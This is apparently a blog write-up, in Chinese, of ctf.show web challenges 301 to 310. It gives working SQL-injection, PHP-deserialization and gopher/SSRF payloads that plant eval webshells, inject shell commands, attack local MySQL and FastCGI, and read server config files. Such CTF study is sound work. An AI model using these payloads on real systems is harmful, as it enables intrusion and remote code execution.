本文最后更新于:2022年3月9日晚上8点20分
Web301-302(SQL注入写文件)
源代码审计,checklogin.php代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php error_reporting(0); session_start(); require 'conn.php'; $_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:""; $_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:""; $username=$_POST['userid']; $userpwd=$_POST['userpwd']; $sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;"; $result=$mysqli->query($sql); $row=$result->fetch_array(MYSQLI_BOTH); if($result->num_rows<1){ $_SESSION['error']="1"; header("location:login.php"); return; } if(!strcasecmp($userpwd,$row['sds_password'])){ $_SESSION['login']=1; $result->free(); $mysqli->close(); header("location:index.php"); return; } $_SESSION['error']="1"; header("location:login.php");
?>
|
很明显存在SQL注入
1
| admin' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"#
|
写入一句话即可,访问1.php,密码为1
Web303(SQL注入)
弱口令,admin
,admin
登录
审计源代码发现dptadd.php
存在注入

1
| dpt_name=1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())%23
|
1
| dpt_name=1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')%23
|
1
| dpt_name=1',sds_address =(select flag from sds_fl9g)%23
|

Web304(SQL注入)
题目还是一样,源代码也一样,说是增加了全局waf,其实没增加(群主的嘴,骗人的鬼
1 2 3
| function sds_waf($str){ return preg_match('/[0-9]|[a-z]|-/i', $str); }
|
payload和上题差不多,表名变了
1
| dpt_name=1',sds_address =(select flag from sds_flaag)%23
|
Web305(反序列化)
这题源代码真的增加了waf
1 2 3 4 5 6 7
| function sds_waf($str){ if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){ return false; }else{ return true; } }
|
增加了这个waf,想要绕过有些难度,不过这里存在反序列化漏洞

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class user{ public $username; public $password; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function __destruct(){ file_put_contents($this->username, $this->password); } }
$a = new user("a.php", "<?php eval(\$_POST[1]);?>"); echo urlencode(serialize($a)); ?>
|
得到
1
| O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22a.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D
|
传给cookie['user']
,访问checklogin.php
页面,生成webshell
用蚁剑连接,用户名和密码为root

Web306(反序列化)
这题在class.php
中存在危险函数


构造链子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php class dao{ private $conn;
public function __construct(){ $this->conn = new log(); } } class log{ public $title='log.txt'; public $info=''; public function __construct(){ $this->title = "a.php"; $this->info = "<?php eval(\$_POST[1]);?>"; } } echo base64_encode(serialize(new dao())); ?>
|
得到:
1
| TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiJhLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319
|
传入cookie['user']
中,访问index.php
即可触发反序列化,写入shell
这题不需要进入数据库拿flag,flag在目录下flag.php
Web307(反序列化)
被上一题牵着鼻子走了,这题的反序列化入口不在登录页面,在下方那个页面

下方的shell_exec
为漏洞函数

POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class config{ public $cache_dir = ';echo "<?php eval(\$_POST[1]);?>" >a.php;'; } class dao{ private $config; public function __construct(){ $this->config=new config(); } } $a=new dao(); echo base64_encode(serialize($a)); ?>
|
生成
1
| TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NDI6IjtlY2hvICAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTs/PiIgPmEucGhwOyI7fX0=
|
传入cookie['service']
,访问controller/logout.php
,然后访问controller/a.php
,密码为1,getshell即可
Web308(SSRF打无密码MySQL)
这题利用SSRF打mysql

1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class config{ public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%22%01%00%00%00%01'; } class dao{ private $config; public function __construct(){ $this->config=new config(); }
} $a=new dao(); echo base64_encode(serialize($a)); ?>
|
得到:
1
| TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3NjA6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNDUlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlNzAlNjglNzAlMjAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlMzElNWQlMjklM2IlM2YlM2UlMjIlMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjIlMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlNjElMmUlNzAlNjglNzAlMjIlMDElMDAlMDAlMDAlMDEiO319
|
Web309(SSRF打fastcgi)

1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class config{ public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27tac%20fl%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'; } class dao{ private $config; public function __construct(){ $this->config=new config(); }
} $a=new dao(); echo base64_encode(serialize($a)); ?>
|
1
| TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo1NzY6ImdvcGhlcjovLzEyNy4wLjAuMTo5MDAwL18lMDElMDElMDAlMDElMDAlMDglMDAlMDAlMDAlMDElMDAlMDAlMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlRjYlMDYlMDAlMEYlMTBTRVJWRVJfU09GVFdBUkVnbyUyMC8lMjBmY2dpY2xpZW50JTIwJTBCJTA5UkVNT1RFX0FERFIxMjcuMC4wLjElMEYlMDhTRVJWRVJfUFJPVE9DT0xIVFRQLzEuMSUwRSUwMkNPTlRFTlRfTEVOR1RINTklMEUlMDRSRVFVRVNUX01FVEhPRFBPU1QlMDlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUlMjAlM0QlMjBPbiUwQWRpc2FibGVfZnVuY3Rpb25zJTIwJTNEJTIwJTBBYXV0b19wcmVwZW5kX2ZpbGUlMjAlM0QlMjBwaHAlM0EvL2lucHV0JTBGJTA5U0NSSVBUX0ZJTEVOQU1FaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDAlM0IlMDQlMDAlM0MlM0ZwaHAlMjBzeXN0ZW0lMjglMjd0YWMlMjBmbCUyQSUyNyUyOSUzQmRpZSUyOCUyNy0tLS0tTWFkZS1ieS1TcHlEM3ItLS0tLSUwQSUyNyUyOSUzQiUzRiUzRSUwMCUwMCUwMCUwMCI7fX0=
|
1 2 3 4 5 6 7 8 9 10 11
| GET /index.php HTTP/1.1 Host: 4989c04b-e83b-4b45-84ab-97f4eed6a6df.challenge.ctf.show Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: service=TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo1NzY6ImdvcGhlcjovLzEyNy4wLjAuMTo5MDAwL18lMDElMDElMDAlMDElMDAlMDglMDAlMDAlMDAlMDElMDAlMDAlMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlRjYlMDYlMDAlMEYlMTBTRVJWRVJfU09GVFdBUkVnbyUyMC8lMjBmY2dpY2xpZW50JTIwJTBCJTA5UkVNT1RFX0FERFIxMjcuMC4wLjElMEYlMDhTRVJWRVJfUFJPVE9DT0xIVFRQLzEuMSUwRSUwMkNPTlRFTlRfTEVOR1RINTklMEUlMDRSRVFVRVNUX01FVEhPRFBPU1QlMDlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUlMjAlM0QlMjBPbiUwQWRpc2FibGVfZnVuY3Rpb25zJTIwJTNEJTIwJTBBYXV0b19wcmVwZW5kX2ZpbGUlMjAlM0QlMjBwaHAlM0EvL2lucHV0JTBGJTA5U0NSSVBUX0ZJTEVOQU1FaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDAlM0IlMDQlMDAlM0MlM0ZwaHAlMjBzeXN0ZW0lMjglMjd0YWMlMjBmbCUyQSUyNyUyOSUzQmRpZSUyOCUyNy0tLS0tTWFkZS1ieS1TcHlEM3ItLS0tLSUwQSUyNyUyOSUzQiUzRiUzRSUwMCUwMCUwMCUwMCI7fX0= Connection: close
|

Web310(SSRF读nginx目录)
这题没法直接读flag,先看看nginx.conf
写了什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class config{ public $update_url = 'file:///etc/nginx/nginx.conf'; } class dao{ private $config; public function __construct(){ $this->config=new config(); }
} $a=new dao(); echo base64_encode(serialize($a)); ?>
|
1
| TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czoyODoiZmlsZTovLy9ldGMvbmdpbngvbmdpbnguY29uZiI7fX0=
|

看到4476端口可以直接读
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class config{ public $update_url = 'http://127.0.0.1:4476'; } class dao{ private $config; public function __construct(){ $this->config=new config(); }
} $a=new dao(); echo base64_encode(serialize($a)); ?>
|
1
| TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czoyMToiaHR0cDovLzEyNy4wLjAuMTo0NDc2Ijt9fQ==
|
